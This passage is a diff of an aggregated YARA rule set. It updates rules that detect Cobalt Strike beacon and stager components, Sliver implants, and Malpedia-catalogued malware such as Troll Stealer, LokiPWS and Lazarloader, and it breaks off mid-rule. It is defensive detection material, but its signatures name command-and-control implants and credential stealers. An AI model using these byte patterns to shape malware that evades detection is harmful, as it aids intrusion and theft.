"https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1593-L1628" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "d64f10d5a486f0f2215774e8ab56087f32bef19ac666e96c5627c70d345a354d" - logic_hash = "b712a0c218e473f6c64fdead22b291d7fb0bac8ba614adcf1ba6431e854a5e65" + hash = "3280fec57b7ca94fd2bdb5a4ea1c7e648f565ac077152c5a81469030ccf6ab44" + logic_hash = "be0bbf58a176f8089924b3ce58268d906f49dde51d863524971e46f4bada43a3" score = 75 quality = 85 tags = "" strings: - $core_sig = { - C6 44 24 38 48 - C6 44 24 39 65 - C6 44 24 3A 61 - C6 44 24 3B 70 - C6 44 24 3C 41 - C6 44 24 3D 6C - C6 44 24 3E 6C - C6 44 24 3F 6F - C6 44 24 40 63 - C6 44 24 41 00 - } + $version_sig = { 8B D0 49 8B CA 48 83 C4 28 E9 83 88 FF FF + 4C 8D 05 A4 6D FF FF 8B D0 49 8B CA 48 83 C4 28 } + $decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 } condition: all of them } -rule GCTI_Cobaltstrike_Sleeve_Beaconloader_MVF_X64_O_V4_3_V4_4_V4_5_And_V4_6 +rule GCTI_Cobaltstrike_Sleeve_Beacon_X64_V4_5_Variant { meta: - description = "Cobalt Strike's sleeve/BeaconLoader.MVF.x64.o (MapViewOfFile) Versions 4.3 through at least 4.6" + description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 4.5 (variant)" author = "gssincla@google.com" - id = "38e063db-3d76-5a94-812a-945fcf46a232" + id = "45715da9-8f16-5304-b216-1ca36c508c77" date = "2022-11-18" - modified = "2022-11-19" + modified = "2023-12-04" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Sleeve_BeaconLoader_all.yara#L326-L374" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1630-L1665" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "9d5b6ccd0d468da389657309b2dc325851720390f9a5f3d3187aff7d2cd36594" - logic_hash = "6224000342d87041fd3336656897479c644e94ea36fc061c27fcd64233047c2c" + hash = "8f0da7a45945b630cd0dfb5661036e365dcdccd085bc6cff2abeec6f4c9f1035" + logic_hash = "31a108168489a24d1bc297d722741f3fd19abd1bed4c76d54967c73986d18123" score = 75 quality = 85 tags = "" strings: - $core_sig = { - C6 44 24 58 4D - C6 44 24 59 61 - C6 44 24 5A 70 - C6 44 24 5B 56 - C6 44 24 5C 69 - C6 44 24 5D 65 - C6 44 24 5E 77 - C6 44 24 5F 4F - C6 44 24 60 66 - C6 44 24 61 46 - C6 44 24 62 69 - C6 44 24 63 6C - C6 44 24 64 65 - } + $version_sig = { 41 B8 01 00 00 00 8B D0 49 8B CA 48 83 C4 28 E9 E8 AB FF FF + 8B D0 49 8B CA E8 1A EB FF FF 48 83 C4 28 } + $decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 } condition: all of them } -rule GCTI_Cobaltstrike_Sleeve_Beaconloader_VA_X64_O_V4_3_V4_4_V4_5_And_V4_6 +rule GCTI_Cobaltstrike_Resources_Browserpivot_X64_Bin_V1_48_To_V3_14_And_Sleeve_Browserpivot_X64_Dll_V4_0_To_V4_X { meta: - description = "Cobalt Strike's sleeve/BeaconLoader.VA.x64.o (VirtualAlloc) Versions 4.3 through at least 4.6" + description = "Cobalt Strike's resources/browserpivot.x64.bin from v1.48 to v3.14 and sleeve/browserpivot.x64.dll from v4.0 to at least v4.4" author = "gssincla@google.com" - id = "8ca04f82-a8a8-5162-8b0c-8a7bce678a85" + id = "a5dfae85-ff9c-5ca5-9ac0-041c6108a6ed" date = "2022-11-18" modified = "2022-11-19" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Sleeve_BeaconLoader_all.yara#L376-L456" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Browserpivot_x64_Bin_v1_48_to_v3_14_and_Sleeve_Browserpivot_x64_Dll_v4_0_to_v4_x.yara#L17-L64" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "ac090a0707aa5ccd2c645b523bd23a25999990cf6895fce3bfa3b025e3e8a1c9" - logic_hash = "17402e952d71d02274a9b2814512b28a402e8d11a6c2a2375844fe24719f87a6" + hash = "0ad32bc4fbf3189e897805cec0acd68326d9c6f714c543bafb9bc40f7ac63f55" + logic_hash = "a59f19b6e258b724ed88b4255717d066319ba5fb0838d6c6ed11355e9d9b1c22" score = 75 quality = 85 tags = "" strings: - $core_sig = { - C6 44 24 48 56 - C6 44 24 49 69 - C6 44 24 4A 72 - C6 44 24 4B 74 - C6 44 24 4C 75 - C6 44 24 4D 61 - C6 44 24 4E 6C - C6 44 24 4F 41 - C6 44 24 50 6C - C6 44 24 51 6C - C6 44 24 52 6F - C6 44 24 53 63 - C6 44 24 54 00 - } - $deobfuscator = { - 8B 04 24 - FF C0 - 89 04 24 - 8B 44 24 28 - 39 04 24 - 73 20 - 8B 04 24 - 0F B6 4C 24 30 - 48 8B 54 24 20 - 0F BE 04 02 - 33 C1 - 8B 0C 24 - 48 8B 54 24 20 - 88 04 0A - } + $socket_recv = { + FF 15 [4] + 83 ?? FF + 74 ?? + 85 ?? + 74 ?? + 03 ?? + 83 ?? 02 + 72 ?? + 8D ?? FF + 80 [2] 0A + 75 ?? + 8D ?? FE + 80 [2] 0D + } + $fmt = "%1024[^ ] %8[^:]://%1016[^/]%7168[^ ] %1024[^ ]" condition: all of them } -rule GCTI_Cobaltstrike_Sleeve_Beaconloader_X64_O_V4_3_V4_4_V4_5_And_V4_6 +rule GCTI_Cobaltstrike_Resources_Dnsstager_Bin_V1_47_Through_V4_X { meta: - description = "Cobalt Strike's sleeve/BeaconLoader.x64.o (Base) Versions 4.3 through at least 4.6" + description = "Cobalt Strike's resources/dnsstager.bin signature for versions 1.47 to 4.x" author = "gssincla@google.com" - id = "07f751e4-f001-5b95-b229-31fbaa867cea" + id = "e1b0e368-9bcf-5d9b-b2b3-8414742f213e" date = "2022-11-18" modified = "2022-11-19" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Sleeve_BeaconLoader_all.yara#L458-L555" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Dnsstager_Bin_v1_47_through_v4_x.yara#L17-L78" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "ac090a0707aa5ccd2c645b523bd23a25999990cf6895fce3bfa3b025e3e8a1c9" - logic_hash = "50d9da466e2c074b3fb634203c8840d45da8f8e3094790d7c4354a5703b583ef" + hash = "10f946b88486b690305b87c14c244d7bc741015c3fef1c4625fa7f64917897f1" + logic_hash = "d4500d8a83a821e1df9e808b17a87c1207d78ea0e03886544a632176fe93ccd0" score = 75 - quality = 85 + quality = 83 tags = "" strings: - $core_sig = { - 33 C0 - 83 F8 01 - 74 63 - 48 8B 44 24 20 - 0F B7 00 - 3D 4D 5A 00 00 - 75 45 - 48 8B 44 24 20 - 48 63 40 3C - 48 89 44 24 28 - 48 83 7C 24 28 40 - 72 2F - 48 81 7C 24 28 00 04 00 00 - 73 24 - 48 8B 44 24 20 - 48 8B 4C 24 28 - 48 03 C8 - 48 8B C1 - 48 89 44 24 28 - 48 8B 44 24 28 - 81 38 50 45 00 00 - 75 02 - } - $deobfuscator = { - 8B 04 24 - FF C0 - 89 04 24 - 8B 44 24 28 - 39 04 24 - 73 20 - 8B 04 24 - 0F B6 4C 24 30 - 48 8B 54 24 20 - 0F BE 04 02 - 33 C1 - 8B 0C 24 - 48 8B 54 24 20 - 88 04 0A - } + $apiLocator = { + 31 ?? + AC + C1 ?? 0D + 01 ?? + 38 ?? + 75 ?? + 03 [2] + 3B [2] + 75 ?? + 5? + 8B ?? 24 + 01 ?? + 66 8B [2] + 8B ?? 1C + 01 ?? + 8B ?? 8B + 01 ?? + 89 [3] + 5? + 5? + } + $dnsapi = { 68 64 6E 73 61 } condition: - $core_sig and not $deobfuscator + $apiLocator and $dnsapi } rule GCTI_Cobaltstrike_Resources_Bind64_Bin_V2_5_Through_V4_X { @@ -81899,43 +81771,118 @@ rule GCTI_Cobaltstrike_Resources_Bind64_Bin_V2_5_Through_V4_X condition: $apiLocator and $calls } -rule GCTI_Cobaltstrike_Resources__Template_Vbs_V3_3_To_V4_X +rule GCTI_Cobaltstrike_Resources_Httpsstager64_Bin_V3_2_Through_V4_X { meta: - description = "Cobalt Strike's resources/btemplate.vbs signature for versions v3.3 to v4.x" + description = "Cobalt Strike's resources/httpsstager64.bin signature for versions v3.2 to v4.x" author = "gssincla@google.com" - id = "62f35d02-1e4e-5651-b575-888ce06b8bdd" + id = "c16e73fc-484a-5f7e-8127-d85a0254d842" date = "2022-11-18" - modified = "2022-11-22" + modified = "2022-11-19" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Template_Vbs_v3_3_to_v4_x.yara#L17-L41" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Httpsstager64_Bin_v3_2_through_v4_x.yara#L17-L90" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "e0683f953062e63b2aabad7bc6d76a78748504b114329ef8e2ece808b3294135" - logic_hash = "c9df0e287eb0eacf7c6cfcf3f6d1043ae6f2fdacd3b22bd42ac71f4b0d7226ff" + hash = "109b8c55816ddc0defff360c93e8a07019ac812dd1a42209ea7e95ba79b5a573" + logic_hash = "4889a23c1f2780044b9fb2a0207676d57e82e6c1275614b684a5a9cbe984b761" score = 75 - quality = 83 + quality = 85 tags = "" strings: - $ea = "Excel.Application" nocase - $vis = "Visible = False" nocase - $wsc = "Wscript.Shell" nocase - $regkey1 = "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\" nocase - $regkey2 = "\\Excel\\Security\\AccessVBOM" nocase - $regwrite = ".RegWrite" nocase - $dw = "REG_DWORD" - $code = ".CodeModule.AddFromString" - $ao = { 41 75 74 6f 5f 4f 70 65 6e } - $da = ".DisplayAlerts" + $apiLocator = { + 48 [2] + AC + 41 [2] 0D + 41 [2] + 38 ?? + 75 ?? + 4C [4] + 45 [2] + 75 ?? + 5? + 44 [2] 24 + 49 [2] + 66 [4] + 44 [2] 1C + 49 [2] + 41 [3] + 48 + } + $InternetSetOptionA = { + BA 1F 00 00 00 + 6A 00 + 68 80 33 00 00 + 49 [2] + 41 ?? 04 00 00 00 + 41 ?? 75 46 9E 86 + } condition: - all of them + $apiLocator and $InternetSetOptionA +} +rule GCTI_Sliver_Implant_32Bit +{ + meta: + description = "Sliver 32-bit implant (with and without --debug flag at compile)" + author = "gssincla@google.com" + id = "6bc4d7d1-64cf-5920-8f07-54a8a7a94f26" + date = "2022-11-18" + modified = "2022-11-19" + reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/Sliver/Sliver__Implant_32bit.yara#L17-L81" + license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" + hash = "911f4106350871ddb1396410d36f2d2eadac1166397e28a553b28678543a9357" + logic_hash = "5b394a198f691b6777438a69d20a423798525daa84a09a0ce346eca5bb66f850" + score = 60 + quality = 35 + tags = "" + + strings: + $s_tcppivot = { 81 ?? 74 63 70 70 [2-20] 81 ?? 04 69 76 6F 74 } + $s_wg = { 66 81 ?? 77 67 } + $s_dns = { 66 81 ?? 64 6E [2-20] 80 ?? 02 73 } + $s_http = { 81 ?? 68 74 74 70 } + $s_https = { 81 ?? 68 74 74 70 [2-20] 80 ?? 04 73 } + $s_mtls = { 81 ?? 6D 74 6C 73 } + $fp1 = "cloudfoundry" ascii fullword + + condition: + 4 of ( $s* ) and not 1 of ( $fp* ) +} +rule GCTI_Sliver_Implant_64Bit +{ + meta: + description = "Sliver 64-bit implant (with and without --debug flag at compile)" + author = "gssincla@google.com" + id = "b84db933-0e11-5871-821d-43697c015665" + date = "2022-11-18" + modified = "2022-11-19" + reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/Sliver/Sliver__Implant_64bit.yara#L17-L84" + license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" + hash = "2d1c9de42942a16c88a042f307f0ace215cdc67241432e1152080870fe95ea87" + logic_hash = "ad4ceef08a732174c8ccbcacf0370b26acb9e5ec0784d8827c8104618e018a26" + score = 75 + quality = 85 + tags = "" + + strings: + $s_tcppivot = { 48 ?? 74 63 70 70 69 76 6F 74 } + $s_namedpipe = { 48 ?? 6E 61 6D 65 64 70 69 70 [2-32] 80 ?? 08 65 } + $s_https = { 81 ?? 68 74 74 70 [2-32] 80 ?? 04 73 } + $s_wg = {66 81 ?? 77 67} + $s_dns = { 66 81 ?? 64 6E [2-20] 80 ?? 02 73 } + $s_mtls = { 81 ?? 6D 74 6C 73 } + $fp1 = "cloudfoundry" ascii fullword + + condition: + 5 of ( $s* ) and not 1 of ( $fp* ) } /* * YARA Rule Set * Repository Name: Malpedia * Repository: https://github.com/malpedia/signator-rules/ - * Retrieval Date: 2026-02-22 + * Retrieval Date: 2026-03-01 * Git Commit: 173f2e2012643b57ff6521a58ba6dd57331de3c6 * Number of Rules: 1603 * Skipped: 0 (age), 17 (quality), 0 (score), 0 (importance) @@ -81945,18 +81892,18 @@ rule GCTI_Cobaltstrike_Resources__Template_Vbs_V3_3_To_V4_X * * NO LICENSE SET */ -rule MALPEDIA_Win_Seduploader_Auto : FILE +rule MALPEDIA_Win_Troll_Stealer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8fb6991a-2035-5d98-8418-a7713bf4dcf3" + id = "40759ced-a25e-5434-bc7c-501cfe15d47a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.seduploader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.seduploader_auto.yar#L1-L113" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.troll_stealer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.troll_stealer_auto.yar#L1-L130" license_url = "N/A" - logic_hash = "322f530e99af9eadb7926bd0383665644ca1fdc1bbd87072e1c813cec7a54a88" + logic_hash = "5f0403028aceb1e51ecaa890b1a7ca49efec2e1c71ccfd760d9d2619abef354a" score = 75 quality = 75 tags = "FILE" @@ -81970,34 +81917,34 @@ rule MALPEDIA_Win_Seduploader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff763c e8???????? 83c40c 3b4508 } - $sequence_1 = { 50 e8???????? 8b4510 83c6fe 8930 8d4601 50 } - $sequence_2 = { 8b4510 83c6fe 8930 8d4601 50 e8???????? } - $sequence_3 = { 83c6fe 8930 8d4601 50 e8???????? } - $sequence_4 = { 8b4510 83c6fe 8930 8d4601 } - $sequence_5 = { e8???????? 8b4510 83c6fe 8930 8d4601 } - $sequence_6 = { 56 6a3e 8bf1 e8???????? } - $sequence_7 = { 8b4510 83c6fe 8930 8d4601 50 } - $sequence_8 = { 50 e8???????? 8b4510 83c6fe 8930 } - $sequence_9 = { 83c6fe 8930 8d4601 50 } + $sequence_0 = { 49895008 6699 49894010 0fb7d5 9c c0f2b0 66d3f2 } + $sequence_1 = { d0ca 80c2f3 f9 f8 d0c2 4432ca f7c465491a38 } + $sequence_2 = { f7d2 f9 d1c2 4153 41ffc3 311424 415b } + $sequence_3 = { 4181eb2315e85c 313424 458bdd 49c7c33109c930 } + $sequence_4 = { 81d9d83d744a f6d2 80c253 0fbfc8 d2cd d0c2 } + $sequence_5 = { 313c24 480fbafbc6 c1eb14 480fb7da 5b 4863ff f8 } + $sequence_6 = { 453bf3 4153 311424 664181eb996f 415b f9 4863d2 } + $sequence_7 = { 4d8d141a 48bd0000000002000000 4d8d142a 410fc1f9 4c8bc4 4881ec80010000 450fbfc8 } + $sequence_8 = { 403ad4 81f6a540bf26 f7d6 f5 d1c6 f8 f7d6 } + $sequence_9 = { 4112eb 418910 4080dd61 40fec5 660bef 418b2b 4981c304000000 } condition: - 7 of them and filesize < 401408 + 7 of them and filesize < 45868032 } -rule MALPEDIA_Win_Rikamanu_Auto : FILE +rule MALPEDIA_Win_Lazarloader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6aa1bb34-6dad-5a44-a7b0-10e6f22d5ad7" + id = "4eef2499-48c5-5b94-8dd0-29267a0265f8" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rikamanu" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rikamanu_auto.yar#L1-L301" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lazarloader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lazarloader_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "bec31db5b7da98c4f1592bb94bd04c2338666fc78eaa33ae09c8491dda001ca5" + logic_hash = "176d7f7f65178334e7677ff59a660edd6b016ed103feffa239e5ccc53e031e90" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -82009,51 +81956,32 @@ rule MALPEDIA_Win_Rikamanu_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 6a14 ff15???????? a801 } - $sequence_1 = { 50 ff15???????? 8b35???????? 3d80969800 } - $sequence_2 = { 40 3acb 75f9 57 8dbdf4fdffff 2bc2 4f } - $sequence_3 = { 8d4c2414 51 56 ff15???????? 8b542414 52 } - $sequence_4 = { 0fb6da f68321ae400004 740c ff01 85f6 } - $sequence_5 = { 33c0 890d???????? bf???????? 890d???????? 890d???????? 890d???????? } - $sequence_6 = { 7423 83c604 803e00 7587 53 57 ff15???????? } - $sequence_7 = { 58 668986b8000000 668986be010000 c74668b02f4100 83a6b803000000 6a0d } - $sequence_8 = { 83d8ff 85c0 0f841f020000 83c9ff } - $sequence_9 = { e8???????? 59 3bc3 7511 391d???????? 7509 ff750c } - $sequence_10 = { 59 8b7508 8d34f570902400 391e 7404 8bc7 eb6d } - $sequence_11 = { 33c5 8945fc 8b0d???????? 53 6804010000 33db 8d85f8feffff } - $sequence_12 = { 888800962400 40 ebe9 33c0 8945e4 3d00010000 7d10 } - $sequence_13 = { 8b842470020000 03f8 57 56 ff15???????? 5f 5e } - $sequence_14 = { ff15???????? 8b8df0fdffff 8b35???????? 51 ffd6 8b95e8fdffff 52 } - $sequence_15 = { ff35???????? ff15???????? c3 ff35???????? ff742408 } - $sequence_16 = { f3a5 8bca 83e103 f3a4 8dbc243c020000 83c9ff f2ae } - $sequence_17 = { 7229 f3a5 ff2495d85a4000 8bc7 ba03000000 83e904 720c } - $sequence_18 = { ffd6 85c0 74c2 8b85ccfdffff 6aff } - $sequence_19 = { f3a5 8bca 6880000000 83e103 6a04 f3a4 } - $sequence_20 = { 52 ff15???????? 8b8c2470020000 8bf8 8d442414 } - $sequence_21 = { 53 56 6a01 68???????? e8???????? 6a01 } - $sequence_22 = { e8???????? 68ff000000 8d85e9f9ffff 889de8f9ffff 53 50 e8???????? } - $sequence_23 = { 50 a3???????? e8???????? 8db67c774000 bf???????? a5 a5 } - $sequence_24 = { c1f905 83e21f 8b0c8de0b84000 f644d10401 7425 50 e8???????? } - $sequence_25 = { 83c9ff 33c0 8b1d???????? f2ae f7d1 6a00 } - $sequence_26 = { 55 6803000010 57 ffd6 3b442410 0f8584040000 b940000000 } - $sequence_27 = { ff7510 50 ff7508 ff15???????? 5e 5d c21000 } - $sequence_28 = { 56 57 8b7d0c 85db 0f84b2000000 85ff 0f84aa000000 } + $sequence_0 = { 48894de8 488945f0 488d15a0bd0000 b805000000 894520 894528 } + $sequence_1 = { 488bd7 4c8d05fecd0000 83e23f 488bcf } + $sequence_2 = { 33c0 b906020000 f3aa 33c0 66898424d0060000 488d8424d2060000 488bf8 } + $sequence_3 = { 488bc2 e9???????? 493bec 0f84be000000 8b7500 33c0 f04d0fb1bcf120ba0100 } + $sequence_4 = { 4889842490000000 488b442470 0fb700 6689442432 488b442458 0fb74c2432 } + $sequence_5 = { 4885c9 7430 53 4883ec20 488d0563810000 } + $sequence_6 = { eb19 488d1dec1e0100 eb10 488d1df31e0100 eb07 488d1dd21e0100 } + $sequence_7 = { 4883ec20 e8???????? 488b05???????? 488d1da7710100 } + $sequence_8 = { e8???????? 89442460 33c9 e8???????? } + $sequence_9 = { 85c0 750d 488bcb e8???????? e9???????? 4c8d2557230100 } condition: - 7 of them and filesize < 212992 + 7 of them and filesize < 364544 } -rule MALPEDIA_Win_Ccleaner_Backdoor_Auto : FILE +rule MALPEDIA_Win_Lokipws_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "afe83831-af08-566c-bd71-ab10e23239e8" + id = "7c0fcf43-8505-5ab1-9538-f95766af9b37" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ccleaner_backdoor" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ccleaner_backdoor_auto.yar#L1-L275" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lokipws" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lokipws_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "be44c857d399380efa2dec8cf50305b24c9727966e69281b9da9b0167cac9243" + logic_hash = "a16d167a015bb2f0bb35ba7d5dec0418ca90b6fc4e94e3d241cc5d1eead21a9c" score = 75 quality = 73 tags = "FILE" @@ -82067,53 +81995,32 @@ rule MALPEDIA_Win_Ccleaner_Backdoor_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ffd6 50 ff15???????? 8b3d???????? 59 ffd7 } - $sequence_1 = { 8a11 305103 8b480c 8b09 8a5101 } - $sequence_2 = { 03c6 85c0 7f09 488b0a 488b01 ff5008 488b4b28 } - $sequence_3 = { 01442424 eb30 8b4508 897518 } - $sequence_4 = { 8d856cffffff 6a0c 50 c7856cffffff11618a64 c78570ffffff470de38d c78574ffffff27defaf2 e8???????? } - $sequence_5 = { 013e 33c0 8b16 83c410 } - $sequence_6 = { 03c6 4863d0 4c8d0c12 4c8d4718 } - $sequence_7 = { 33f6 6a1c 8d45e4 59 c60000 } - $sequence_8 = { 01cc cc 48895c2408 57 } - $sequence_9 = { 03c0 894340 8b7340 418bc4 } - $sequence_10 = { 83c410 8d85fcfeffff 50 ff15???????? be00010000 } - $sequence_11 = { 8b450c 53 56 8b7508 8b5510 03c6 } - $sequence_12 = { 03cd 41 8a01 4c 03cd 8802 } - $sequence_13 = { 6844494e00 e8???????? 8365e400 8945e0 8d4508 6a04 } - $sequence_14 = { 83e805 743a 48 7409 } - $sequence_15 = { 7507 33c0 e9???????? e8???????? 6800000100 6a40 } - $sequence_16 = { 01442454 03d1 294c2450 8b4c2410 } - $sequence_17 = { 01460c 488b3f 493bfc 0f8554ffffff } - $sequence_18 = { 01461c 8b542424 85d2 7405 } - $sequence_19 = { 0fb645f8 50 8d45d8 50 } - $sequence_20 = { 012e 33c0 5f 5e } - $sequence_21 = { 00cc cc 4057 4883ec50 } - $sequence_22 = { 03c7 4863c8 488d1c4b 493bdc } - $sequence_23 = { 42 47 8a07 8802 8a4701 42 8802 } - $sequence_24 = { 014c2464 40 89542418 89442430 } - $sequence_25 = { ff15???????? 46 83fe3c 7cd0 } - $sequence_26 = { 50 56 e8???????? 8b45f8 bfa0010000 c1e008 } - $sequence_27 = { 01442418 03c8 8954242c 8b542470 } - $sequence_28 = { 00cc cc 4883ec28 488b11 } - $sequence_29 = { 8bd1 49 8bd0 41 } - $sequence_30 = { 013d???????? 8b04b5d8970210 0500080000 3bc8 } + $sequence_0 = { 6a62 668945f8 58 668945fa 33c0 50 50 } + $sequence_1 = { 6a0a e8???????? 59 33db 6a2e 5e } + $sequence_2 = { 55 8bec 6a00 6a00 686c425ad4 6a09 } + $sequence_3 = { 56 57 50 e8???????? 53 56 8d8574ffffff } + $sequence_4 = { 53 50 8d8550ffffff 50 e8???????? 83c424 } + $sequence_5 = { 85c0 745c 8b9d68ffffff 0fb603 89855cffffff 8b8564ffffff } + $sequence_6 = { eb1f ff75ec 50 e8???????? 59 59 85c0 } + $sequence_7 = { ff36 e8???????? 33c0 891e 83c41c } + $sequence_8 = { 6a2e 5a 6a64 59 6a6c 5e } + $sequence_9 = { e8???????? 8d4df8 51 57 57 6a01 } condition: - 7 of them and filesize < 377856 + 7 of them and filesize < 1327104 } -rule MALPEDIA_Win_Daserf_Auto : FILE +rule MALPEDIA_Win_Project_Wood_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9664e62d-eafe-56ce-b464-13f7ca132897" + id = "99ac0756-7270-5092-a0e9-372c792f0f89" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.daserf" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.daserf_auto.yar#L1-L169" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.project_wood" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.project_wood_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "bc55f86dc602900cf521d018b673d7e5221e817a978c5aeccfcf33a4e89ac9bd" + logic_hash = "d6cbe15bf8f450c37b272bcbe4cde2ce46e9a95962a04b9a673413f1c7fe9c2a" score = 75 quality = 75 tags = "FILE" @@ -82127,38 +82034,32 @@ rule MALPEDIA_Win_Daserf_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d1b 0f8e0d010000 87db 8d8568bfffff 8d1b } - $sequence_1 = { 56 ff15???????? ff75f8 8b35???????? ffd6 } - $sequence_2 = { 9b 68???????? 8bd2 50 f7d0 f7d0 } - $sequence_3 = { 6800280000 8d09 8d8568bfffff f7d1 f7d1 53 90 } - $sequence_4 = { ff15???????? c705????????01000000 50 53 2d907cb3df } - $sequence_5 = { 81ebfff91e8d 81c3fb8dd0b7 2d4e5b5869 2db747503f 05dc183929 81eb25261cb5 } - $sequence_6 = { 05e81801ee 95 89ac2400f1ffff 8be8 8b842400f1ffff 81c38b11c7c3 } - $sequence_7 = { 2d14be6b51 81c37f189ce5 05a5174ceb 81eb5a34b440 } - $sequence_8 = { b8???????? e9???????? 6a0b e9???????? 50 } - $sequence_9 = { 81c38ae02de5 81ebb92f9b23 81eb42c7a1f2 81eb74c57063 2d0f027a7d 2db2e0f8da } - $sequence_10 = { f7d6 f7d6 81eb8054748e f7d6 f7d6 81c3cb6fc0a8 } - $sequence_11 = { 050a037e0a 81ebd4a1a6fb 81c34646dc3b 81c351fc1576 81c3eeb6e6f5 2d8cb08456 } - $sequence_12 = { 0589639a4f 81ebc4cfca9c 05e0940a91 81c3df202492 81c304600bef 81eba197b1b7 } - $sequence_13 = { 2def0da659 87f6 81eb1c07b732 8bc0 } - $sequence_14 = { 81c3787cc718 2ddbcfa691 81c3b7415b90 81c3838339ae 2d5988c64e } - $sequence_15 = { 81c38cf537b9 9b 81c339ec068e 7500 053941cb1e } + $sequence_0 = { 7404 6aff eb05 6830750000 53 8d45e8 57 } + $sequence_1 = { 57 50 ff7508 ff15???????? 85c0 7426 ff37 } + $sequence_2 = { ffd5 68???????? e8???????? 59 5e 5d 5b } + $sequence_3 = { 7422 8d4df8 